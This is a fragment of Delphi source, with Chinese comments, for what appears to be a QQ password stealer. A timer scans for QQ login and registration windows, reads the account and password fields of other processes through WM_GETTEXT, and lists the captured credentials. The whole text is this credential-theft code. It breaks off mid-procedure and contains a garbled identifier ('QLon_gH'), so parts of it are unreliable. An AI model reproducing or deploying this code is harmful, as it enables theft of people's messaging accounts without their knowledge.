{$R *.dfm} //============ Procedure GetQQ(QQHwnd:Hwnd); //得到注册向导中输入的用户名与密码 Var TempH:Hwnd; Begin TempH:=GetNextWindow(QQHwnd,GW_HWNDNEXT); SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQID)); TempH:=GetNextWindow(TempH,GW_HWNDNEXT); SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQKEY)); End; //============ Procedure GetQQ2(QQHwnd:Hwnd); //得到QQ登陆的用户名与密码 Var TempH:Hwnd; Begin TempH:=FindWindowEx(QQHwnd,0,'ComboBox',nil); SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQID2)); TempH:=FindWindowEx(QQHwnd,0,'Edit',nil); SendMessage(TempH,WM_GETTEXT,100,Integer(@MainF.OICQKEY2)); End; //============
procedure TMainF.Button1Click(Sender: TObject); begin Close; end;
procedure TMainF.ScanQQWindowTimer(Sender: TObject); Var QID,QKEY,QID2,QKEY2:String; QLongH:Hwnd; Begin OICQH:=FindWindow('#32770',nil); QLongH:=FindWindowEx(OICQH,0,'Button','注册向导'); IF QLongH<>0 Then Begin GetQQ2(OICQH); QLongH:=FindWindowEx(OICQH,0,'Button','注册向导'); End; IF QLon_gH=0 Then Begin QID2:=OICQID2; QKEY2:=OICQKEY2; IF (Length(QID2)>4) And (Length(QKEY2)>3) And (QID2<>'<请在这儿输入QQ号码>') Then //分析是否合法 Begin //是的话 ListBox1.AddItem('帐号:'+QID2+' 密码:'+QKEY2,nil);
End Else Begin //===不是的情况 End; OICQID2:=''; OICQKEY2:=''; End; OICQH:=FindWindowEx(OICQH,0,'#32770',nil); OICQH:=FindWindowEx(OICQH,0,'Button','使用已有的QQ号码'); IF OICQH<>0 Then Begin OICQT:=OICQH; GetQQ(OICQT); End Else Begin QID:=OICQID; QKEY:=OICQKEY; OICQID:=''; OICQKEY:=''; IF (Length(QID)>4) And (Length(QKEY)>3) Then //分析是否合法 Begin //是的话 ListBox1.AddItem('帐号:'+QID+' 密码:'+QKEY,nil);